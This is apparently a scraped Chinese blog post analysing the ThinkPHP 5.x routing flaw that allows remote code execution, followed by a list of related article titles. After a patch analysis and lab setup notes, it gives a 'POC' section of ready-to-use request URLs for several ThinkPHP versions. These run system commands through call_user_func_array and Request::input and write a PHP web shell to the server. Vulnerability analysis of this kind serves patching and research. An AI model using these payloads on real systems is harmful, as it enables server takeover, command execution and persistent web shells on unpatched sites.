摘要

近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075 ,其中修复了一处getshell漏洞。

影响范围

5.x < 5.1.31

<= 5.0.23

危害

远程代码执行

漏洞分析

以下漏洞分析源于斗鱼SRC公众号:斗鱼安全应急响应中心

分析补丁:802f284bec821a608e7543d91126abc5901b2815

路由信息中controller的部分进行了过滤,可知问题出现在路由调度时。

以5.1.23版本进行分析,执行路由调度的代码如下:

其中使用了$this->app->controller方法来实例化控制器,然后调用实例中的方法。跟进controller方法:

其中通过parseModuleAndClass方法解析出$module和$class,然后实例化$class。

rseModuleAndClass方法中,当$name以反斜线\开始时直接将其作为类名。利用命名空间的特点,如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。

接着,我们再往回看路由解析的代码。其中route/dispatch/Url.php:: parseUrl方法调用了route/Rule.php:: parseUrlPath来解析pathinfo中的路由信息

代码比较简单,就是使用/对$url进行分割,未进行任何过滤。

其中的路由url从Request::path()中获取

由于var_pathinfo的默认配置为s,我们可利用$_GET['s']来传递路由信息,也可利用pathinfo来传递,但测试时windows环境下会将$_SERVER['pathinfo']中的\替换为/。

结合前面分析可得初步利用代码如下:index.php?s=index/\namespace\class/method,这将会实例化\namespace\class类并执行method方法。

然而利用过程中会存在一些限制,部分类在实例化时由于缺少参数而报错。

经过一番寻找,在\think\Request类中找到可以利用的方法input。以下为执行phpinfo

环境搭建

TP5.0.*

直接从官网下载完整包解压到www(网站根目录)目录即可,URL指向public目录(如:http://localhost/TP5.0.22/public/ )

TP5.1.*

官方不再提供完整版下载,笔者从composer下载最新版后与官方GitHub进行了对比,发现以下几个仓库

Framework

think

think-installer

发现framework仓库就是完整版中的thinkphp目录

think仓库是thinkphp的主架构

think-installer对应路径为path\to\thinkphp\vendor\topthink\think-installer

那么整合下就好了

最终目录架构

访问下

POC

TP版本5.0.21:

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

TP版本5.0.22:

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

TP5.1.*

thinkphp5.1.29为例

1、代码执行:

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1

2、命令执行:

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系统命令

3、文件写入(写shell):

http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

4、未知:

http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E

5、代码执行:

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

6、命令执行:

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

7、代码执行:

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

8、命令执行:

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

修复方案

官方现已推出补丁 建议开发者进行修复

php %3c%3c%3cxml 报错,ThinkPHP5框架缺陷导致远程命令执行(POC整合帖)相关推荐

  1. ThinkPHP5 框架缺陷导致远程命令执行

    摘要 近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075 ,其中修复了一处getshell漏洞. 影响范围 5.x < 5.1.31 <= ...

  2. 报错:“-bash: git: 未找到命令”

    报错:"-bash: git: 未找到命令" 解决方法: 安装git命令即可解决问题,Linux百科网是以CentOS 7 64位系统为例,在安装git命令之前需要先启用EPEL存 ...

  3. C#报错“OS加载程序锁内执行托管代码,不要尝试在DllMain或映像初始化函数内运行托管代码”的解决方法。

    在VS下进行C#编程并调用C++的DLL时候,有很小的概率报错"OS加载程序锁内执行托管代码,不要尝试在DllMain或映像初始化函数内运行托管代码",其解决方法是把VS菜单中的 ...

  4. git push origin master报错的解决方法 常见git命令(待更新)

    git push origin master报错的解决方法 & 常见git命令(待更新) 参考Git常用命令 文章目录 git push origin master报错的解决方法 & ...

  5. CentOS 执行 source /etc/profile命令时,报错:-bash: #: 未找到命令

    问题描述: CentOS 执行 source /etc/profile命令时,报错:-bash: #: 未找到命令 如下所示: [root@localhost ~]# source /etc/prof ...

  6. 使用代理的服务器,无法使用WebClient。报错:无法解析此远程名称: 'www.***.com'的解决方法

    使用代理的服务器,无法使用WebClient.报错:无法解析此远程名称: 'www.***.com'的解决方法 这段时间用WebClient做了一个小的爬取工具.在VS上调试一切正常.发布的IIS上就 ...

  7. 解决报错: cnpm 不是内部命令

    报错: cnpm 不是内部命令 场景描述:在WebStorm中使用命令提示符创建vue项目时,发现报错 (cnpm 不是内部命令) 可能原因: cnpm和 npm相关文件没有放在node.js中的同一 ...

  8. 【漏洞复现】ThinkPHP5 5.x 远程命令执行(getshell)

    0x00复现环境 ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell) 0x01步骤 点击start to hack 进入环境页面 run t ...

  9. filter执行先后问题_Thinkphp5框架变量覆盖导致远程代码执行

    Thinkphp5.0.x框架对输入数据过滤不严,导致Request类成员存在变量覆盖问题,在一定情况下能导致远程代码执行漏洞. 介绍 Thinkphp框架官方提供核心版和完整版两种: 核心版因默认缺 ...

最新文章

  1. python读出文件中的内容_Python读取文本内容
  2. VS Code 常用插件推荐
  3. Matlab常用函数流水账
  4. 天翼云从业认证(3.2)天翼云存储产品
  5. 运用计算机辅助电话调查的方法,第二章 统计数据的搜集、整理与显示
  6. Spring学习笔记专题一
  7. ICLR 2020丨V4D:视频级别表示学习的四维卷积神经网络
  8. mysql5.7.10安装_MySQL5.7.10下载及安装及配置-阿里云开发者社区
  9. jdbc连接池连不上mysql80_JDBC MySql连接池实践可避免连接池耗尽-问答-阿里云开发者社区-阿里云...
  10. 微软vc运行库地址VC9VC11
  11. Spring常用注解(绝对经典)
  12. VS2017编译SQLite3生成.lib
  13. ThinkPad蓝牙鼠标出现延迟、断开连接等问题的解决办法
  14. Failed to apply plugin [id 'com.gradle.build-scan']
  15. Html 和 Css 的杂乱总结
  16. 如何使用HTTP代理促进业务
  17. 用C++品尝Vista美味:界面的毛玻璃效果——涨姿势
  18. Linux系统ORACLE 19C OEM监控管理
  19. 简单c/c++笔试题 .
  20. 魔兽争霸3冰封王座War3 下载_魔兽争霸完美破解硬盘版

热门文章

  1. NLP数字媒体内容中人工智能审核的应用说明|图普科技
  2. python字符类型判断以及转换
  3. Amber | 推荐力场类型
  4. 基于Python实现的AStar求解八数码问题
  5. 宏基因组专题生信分析学习总结
  6. 【基础】一、(一)、1.、(1)、1)、(A)、(a)级别
  7. python中常见的魔法方法 magic method
  8. CS专业本科能找到不错的工作,还有必要读研吗?
  9. 新建用户并赋予oracle用户权限
  10. 夜光带你走进Jquery(十四)擅长的领域